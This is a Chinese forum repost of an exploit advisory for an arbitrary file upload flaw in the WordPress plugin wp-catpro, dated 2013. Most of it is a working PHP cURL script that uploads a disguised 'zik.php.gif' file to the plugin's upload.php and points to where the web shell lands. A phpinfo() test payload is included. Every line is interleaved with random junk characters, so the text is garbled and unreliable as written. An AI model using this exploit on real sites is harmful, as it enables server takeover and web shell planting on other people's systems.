Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability/ s! q8 k6 U9 ~, P& \% [' R
#-----------------------------------------------------------------------/ r" E: \4 x. _& u5 A% m* s
2 S' m8 b8 B$ X' g8 a" s! \) `作者 => Zikou-165 E8 N, V4 t! [5 u! y6 U! n
邮箱 => zikou16x@gmail.com; m" z; x" ?$ z6 q2 ]6 R
测试系统 : Windows 7 , Backtrack 5r3: t1 F" S1 p6 \- J- X
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip$ b5 c# t8 {" ~7 B
####7 \/ P! U! c P. p" O
4 s9 E( s9 M3 q2 d% y' Y6 ^
#=> Exploit 信息:& A2 P' K, O: ]* e
------------------0 |, b2 N) N% s- |, V7 m
# 攻击者可以上传 file/shell.php.gif: l, {# J$ W$ Q3 b5 F I+ [% e3 ?/ ^; T
# ("jpg", "gif", "png") // Allowed file extensions
+ @6 I. W' T. m0 r. @$ J# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
& b# j* `, |, U$ k6 F2 M* E# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)5 ]' j& B. z* {) u9 F |
------------------
; R8 M9 p" Z/ z& y ( D7 y) F% y) _ }+ ?) a" M: w
#=> Exploit
6 R/ M! ]2 d" E# N-----------% y; |" G+ w" x! l, }
<?php& |5 w m+ {) [5 ^# c9 W
' r3 @# d- B( ^& R+ | m" r7 u$uploadfile="zik.php.gif";$ V9 w* [9 Y) d/ l5 s @3 t
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
$ [' M: m$ A9 q2 acurl_setopt($ch, CURLOPT_POST, true);& m$ }8 g5 Z+ f
curl_setopt($ch, CURLOPT_POSTFIELDS,2 Z- i7 c. M, V& p+ [
array('Filedata'=>"@$uploadfile",
, {4 u& W; N9 r) c/ w5 F' f'folder'=>'/wp-content/uploads/catpro/'));
x7 T/ X6 x5 ?# k7 Y- h, ?5 jcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
0 G" g% S% U2 j( W4 p$postResult = curl_exec($ch);+ ?( x" R9 D& Z# s% J2 N( `" [
curl_close($ch);
: e8 @ P$ s0 Q/ g" q
6 A( H# I8 q4 R6 v9 |, J7 x ^& xprint "$postResult";; i/ j# p# t% Q2 n9 s- G& j
3 @# C& F6 J6 YShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
. ?" q9 V6 } Y w ?>
% j) B* \. r* G y2 \- u<?php
' F9 A3 \/ j7 O7 ^2 Z0 dphpinfo();
1 m5 W k4 q7 K( g7 |& J% R4 O: L5 G?> |
发表于 2013-2-27 20:12:43
收藏
支持
反对